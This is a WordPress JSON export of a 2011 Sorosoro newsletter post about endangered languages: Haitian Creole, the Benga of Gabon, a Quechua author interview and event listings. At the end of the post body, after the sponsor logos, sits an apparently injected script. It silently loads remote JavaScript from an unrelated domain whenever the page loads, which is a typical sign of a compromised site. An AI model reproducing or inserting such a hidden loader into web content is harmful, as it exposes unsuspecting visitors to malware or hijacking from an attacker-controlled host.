{"id":48735,"date":"2011-05-28T12:44:15","date_gmt":"2011-05-28T10:44:15","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=48735"},"modified":"2025-10-21T22:42:41","modified_gmt":"2025-10-21T20:42:41","slug":"sorosoro-may-23-2011-read-the-recognition-of-haitian-creole-see-sand-dollars-in-the-benga-language-and-much-more","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/en\/2011\/05\/sorosoro-may-23-2011-read-the-recognition-of-haitian-creole-see-sand-dollars-in-the-benga-language-and-much-more\/","title":{"rendered":"Sorosoro \u2013 May 23, 2011 <br><br> <i>Read<\/i>: the recognition of Haitian Creole<br> <i>See<\/i>: sand dollars, in the Benga language<br> and much more!"},"content":{"rendered":"<h5 style=\"text-align: justify;\">Blog<\/h5>\n<p style=\"text-align: justify;\">Off to <strong>Haiti<\/strong>, where <strong>Jeannot Fritz Berg<\/strong> speaks to us about his language: <strong>Haitian Creole<\/strong>, which had long been disparaged, progressively gained recognition through education, official acknowledgement and <strong>literature<\/strong>.<\/p>\n<p style=\"text-align: justify;\"><a href=\"http:\/\/blog.sorosoro.org\/en\/haitian-creole-a-slow-gain-in-acceptance\">See blog<\/a><\/p>\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\">New videos<\/h5>\n<p style=\"text-align: justify;\">We&#8217;re still among the <strong>Benga<\/strong>, a community of <strong>Gabon<\/strong> largely depending on marine resources for its livelihood. After last week&#8217;s video on turtles, we now turn to <strong>crabs<\/strong>: a young trapper tells us about their plight, and through them the plight of the Benga\u2026<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/sand-dollars\">See video<\/a><\/p>\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\">News<\/h5>\n<p style=\"text-align: justify;\">Read an interview of <strong>Quechua author  Gloria Caceres Vargas<\/strong> on the publication of her bilingual Quechua-Spanish collection of short stories: <em>Wi\u00f1ay suyasqayki, Te esperar\u00e9 siempre <\/em>(\u201cI will always be waiting for you\u201d). This exchange gives her the opportunity to  comment on the state of Quechua and other Amerindian languages in Peru.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/may-2011-interview-of-quechua-author-gloria-caceres-vargas-for-the-publication-of-winay-suyasqayki-te-esperare-siempre-%E2%80%9Ci-will-always-be-waiting-for-you%E2%80%9D-a-collection-of-bilingual\">Read  article<\/a><\/p>\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\">Agenda<\/h5>\n<p style=\"text-align: justify;\"><strong>June 10, 2011<\/strong>: Application deadline for <strong>linguist position<\/strong> at Aboriginal Language Centre, <strong>Australia<\/strong><\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/june-10-2011-application-deadline-for-linguist-position-at-aboriginal-language-centre-australia\">Read article<\/a><\/p>\n<p style=\"text-align: justify;\"><strong>June 10-12, 2011<\/strong>: <strong>Marquesas Islands songs and dances<\/strong>, Mus\u00e9e du Quai Branly, Paris. A new event part of the Festival de l&#8217;Imaginaire to include in your diary !<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.sorosoro.org\/en\/june-10-12-2011-marquesas-islands-songs-and-dances-musee-du-quai-branly-paris\">Read article<\/a><\/p>\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\">Soropedia<\/h5>\n<p style=\"text-align: justify;\"><strong>3 new language description sheets<\/strong>:<\/p>\n<p style=\"text-align: justify;\">&#8211; Two languages of Brazil: <a href=\"..\/l-ava-canoeiro\">Ava-Canoeiro<\/a> (Tupi family) and <a href=\"..\/le-kadiweu\">Kadiw\u00e9u<\/a> (Guaycuruan family)<\/p>\n<p style=\"text-align: justify;\">&#8211; An isolate of Australia: <a href=\"https:\/\/www.sorosoro.org\/en\/garrwa\">Garrwa<\/a><\/p>\n<p style=\"text-align: justify;\">\n<h5 style=\"text-align: justify;\">And as always\u2026<\/h5>\n<p style=\"text-align: justify;\">The <a href=\"https:\/\/www.sorosoro.org\/en\/tail\">word of the fortnight<\/a> is still awaiting your numerous translations: \u00ab\u00a0<strong>Tail<\/strong> \u00bb.<\/p>\n<p style=\"text-align: justify;\">And a new updated <strong>Soroquiz<\/strong> on our <a href=\"http:\/\/www.sorosoro.org\/en\">homepage<\/a>\u2026<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\"><strong>A beautiful week to all of you!<\/strong><\/p>\n<p style=\"text-align: justify;\">The Sorosoro team<\/p>\n<p style=\"text-align: center;\">With support from<\/p>\n<p style=\"text-align: center;\"><img loading=\"lazy\" decoding=\"async\" title=\"LogoFondationChirac\" src=\"..\/wp-content\/uploads\/LogoFondationChirac2-280x300.jpg\" alt=\"LogoFondationChirac\" width=\"75\" height=\"82\" \/><img loading=\"lazy\" decoding=\"async\" title=\"logo FondationOrange\" src=\"..\/wp-content\/uploads\/logo-FondationOrange-300x117.jpg\" alt=\"logo FondationOrange\" width=\"168\" height=\"65\" \/><\/p>\n<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Blog Off to Haiti, where Jeannot Fritz Berg speaks to us about his language: Haitian Creole, which had long been disparaged, progressively gained recognition through education, official acknowledgement and literature. See blog New videos We&#8217;re still among the Benga, a community of Gabon largely depending on marine resources for its livelihood. After last week&#8217;s video [&hellip;]<\/p>\n","protected":false},"author":18,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24],"tags":[],"class_list":["post-48735","post","type-post","status-publish","format-standard","hentry","category-sorosoro-news"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.0 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Sorosoro \u2013 May 23, 2011  Read: the recognition of Haitian Creole See: sand dollars, in the Benga language and much more! - Sorosoro<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.sorosoro.org\/en\/2011\/05\/sorosoro-may-23-2011-read-the-recognition-of-haitian-creole-see-sand-dollars-in-the-benga-language-and-much-more\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Sorosoro \u2013 May 23, 2011  Read: the recognition of Haitian Creole See: sand dollars, in the Benga language and much more! - Sorosoro\" \/>\n<meta property=\"og:description\" content=\"Blog Off to Haiti, where Jeannot Fritz Berg speaks to us about his language: Haitian Creole, which had long been disparaged, progressively gained recognition through education, official acknowledgement and literature. See blog New videos We&#8217;re still among the Benga, a community of Gabon largely depending on marine resources for its livelihood. After last week&#8217;s video [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.sorosoro.org\/en\/2011\/05\/sorosoro-may-23-2011-read-the-recognition-of-haitian-creole-see-sand-dollars-in-the-benga-language-and-much-more\/\" \/>\n<meta property=\"og:site_name\" content=\"Sorosoro\" \/>\n<meta property=\"article:published_time\" content=\"2011-05-28T10:44:15+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-10-21T20:42:41+00:00\" \/>\n<meta name=\"author\" content=\"Michel.Lemee\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Michel.Lemee\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/05\/sorosoro-may-23-2011-read-the-recognition-of-haitian-creole-see-sand-dollars-in-the-benga-language-and-much-more\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/05\/sorosoro-may-23-2011-read-the-recognition-of-haitian-creole-see-sand-dollars-in-the-benga-language-and-much-more\/\"},\"author\":{\"name\":\"Michel.Lemee\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"headline\":\"Sorosoro \u2013 May 23, 2011 Read: the recognition of Haitian Creole See: sand dollars, in the Benga language and much more!\",\"datePublished\":\"2011-05-28T10:44:15+00:00\",\"dateModified\":\"2025-10-21T20:42:41+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/05\/sorosoro-may-23-2011-read-the-recognition-of-haitian-creole-see-sand-dollars-in-the-benga-language-and-much-more\/\"},\"wordCount\":259,\"articleSection\":[\"Sorosoro news\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/05\/sorosoro-may-23-2011-read-the-recognition-of-haitian-creole-see-sand-dollars-in-the-benga-language-and-much-more\/\",\"url\":\"https:\/\/www.sorosoro.org\/en\/2011\/05\/sorosoro-may-23-2011-read-the-recognition-of-haitian-creole-see-sand-dollars-in-the-benga-language-and-much-more\/\",\"name\":\"Sorosoro \u2013 May 23, 2011 Read: the recognition of Haitian Creole See: sand dollars, in the Benga language and much more! - Sorosoro\",\"isPartOf\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/#website\"},\"datePublished\":\"2011-05-28T10:44:15+00:00\",\"dateModified\":\"2025-10-21T20:42:41+00:00\",\"author\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/05\/sorosoro-may-23-2011-read-the-recognition-of-haitian-creole-see-sand-dollars-in-the-benga-language-and-much-more\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.sorosoro.org\/en\/2011\/05\/sorosoro-may-23-2011-read-the-recognition-of-haitian-creole-see-sand-dollars-in-the-benga-language-and-much-more\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/2011\/05\/sorosoro-may-23-2011-read-the-recognition-of-haitian-creole-see-sand-dollars-in-the-benga-language-and-much-more\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\/\/www.sorosoro.org\/en\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Sorosoro \u2013 May 23, 2011 Read: the recognition of Haitian Creole See: sand dollars, in the Benga language and much more!\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#website\",\"url\":\"https:\/\/www.sorosoro.org\/en\/\",\"name\":\"Sorosoro\",\"description\":\"Pour que vivent les langues du monde !\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.sorosoro.org\/en\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18\",\"name\":\"Michel.Lemee\",\"url\":\"https:\/\/www.sorosoro.org\/en\/author\/michel-lemee\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Sorosoro \u2013 May 23, 2011  Read: the recognition of Haitian Creole See: sand dollars, in the Benga language and much more! - Sorosoro","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.sorosoro.org\/en\/2011\/05\/sorosoro-may-23-2011-read-the-recognition-of-haitian-creole-see-sand-dollars-in-the-benga-language-and-much-more\/","og_locale":"en_US","og_type":"article","og_title":"Sorosoro \u2013 May 23, 2011  Read: the recognition of Haitian Creole See: sand dollars, in the Benga language and much more! - Sorosoro","og_description":"Blog Off to Haiti, where Jeannot Fritz Berg speaks to us about his language: Haitian Creole, which had long been disparaged, progressively gained recognition through education, official acknowledgement and literature. See blog New videos We&#8217;re still among the Benga, a community of Gabon largely depending on marine resources for its livelihood. After last week&#8217;s video [&hellip;]","og_url":"https:\/\/www.sorosoro.org\/en\/2011\/05\/sorosoro-may-23-2011-read-the-recognition-of-haitian-creole-see-sand-dollars-in-the-benga-language-and-much-more\/","og_site_name":"Sorosoro","article_published_time":"2011-05-28T10:44:15+00:00","article_modified_time":"2025-10-21T20:42:41+00:00","author":"Michel.Lemee","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Michel.Lemee","Est. reading time":"1 minute"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.sorosoro.org\/en\/2011\/05\/sorosoro-may-23-2011-read-the-recognition-of-haitian-creole-see-sand-dollars-in-the-benga-language-and-much-more\/#article","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/05\/sorosoro-may-23-2011-read-the-recognition-of-haitian-creole-see-sand-dollars-in-the-benga-language-and-much-more\/"},"author":{"name":"Michel.Lemee","@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"headline":"Sorosoro \u2013 May 23, 2011 Read: the recognition of Haitian Creole See: sand dollars, in the Benga language and much more!","datePublished":"2011-05-28T10:44:15+00:00","dateModified":"2025-10-21T20:42:41+00:00","mainEntityOfPage":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/05\/sorosoro-may-23-2011-read-the-recognition-of-haitian-creole-see-sand-dollars-in-the-benga-language-and-much-more\/"},"wordCount":259,"articleSection":["Sorosoro news"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/www.sorosoro.org\/en\/2011\/05\/sorosoro-may-23-2011-read-the-recognition-of-haitian-creole-see-sand-dollars-in-the-benga-language-and-much-more\/","url":"https:\/\/www.sorosoro.org\/en\/2011\/05\/sorosoro-may-23-2011-read-the-recognition-of-haitian-creole-see-sand-dollars-in-the-benga-language-and-much-more\/","name":"Sorosoro \u2013 May 23, 2011 Read: the recognition of Haitian Creole See: sand dollars, in the Benga language and much more! - Sorosoro","isPartOf":{"@id":"https:\/\/www.sorosoro.org\/en\/#website"},"datePublished":"2011-05-28T10:44:15+00:00","dateModified":"2025-10-21T20:42:41+00:00","author":{"@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18"},"breadcrumb":{"@id":"https:\/\/www.sorosoro.org\/en\/2011\/05\/sorosoro-may-23-2011-read-the-recognition-of-haitian-creole-see-sand-dollars-in-the-benga-language-and-much-more\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.sorosoro.org\/en\/2011\/05\/sorosoro-may-23-2011-read-the-recognition-of-haitian-creole-see-sand-dollars-in-the-benga-language-and-much-more\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.sorosoro.org\/en\/2011\/05\/sorosoro-may-23-2011-read-the-recognition-of-haitian-creole-see-sand-dollars-in-the-benga-language-and-much-more\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.sorosoro.org\/en\/"},{"@type":"ListItem","position":2,"name":"Sorosoro \u2013 May 23, 2011 Read: the recognition of Haitian Creole See: sand dollars, in the Benga language and much more!"}]},{"@type":"WebSite","@id":"https:\/\/www.sorosoro.org\/en\/#website","url":"https:\/\/www.sorosoro.org\/en\/","name":"Sorosoro","description":"Pour que vivent les langues du monde !","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.sorosoro.org\/en\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/www.sorosoro.org\/en\/#\/schema\/person\/6a38d9a3b9816780bdc12b184c7d9e18","name":"Michel.Lemee","url":"https:\/\/www.sorosoro.org\/en\/author\/michel-lemee\/"}]}},"_links":{"self":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts\/48735","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/users\/18"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/comments?post=48735"}],"version-history":[{"count":0,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/posts\/48735\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/media?parent=48735"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/categories?post=48735"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sorosoro.org\/en\/wp-json\/wp\/v2\/tags?post=48735"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}